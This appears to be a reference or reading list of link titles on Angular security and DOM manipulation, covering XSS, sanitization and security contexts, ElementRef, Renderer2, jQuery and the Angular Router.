- Angular Security: The Definitive Guide (Part 3)
- Angular Security: Checklist
- Workspace and project file structure
- Introduction to components and templates
- Source map configuration
- Binding syntax
- Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet
- Sanitization and security contexts
- GitHub - angular/dom_security_schema.ts
- XSS in Angular and AngularJS
- Angular Universal
- DOM XSS
- Angular ElementRef
- Angular Renderer2
- Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub
- jQuery API Documentation
- How To Use jQuery With Angular (When You Absolutely Have To)
- Angular Document
- Angular Location
- Angular Router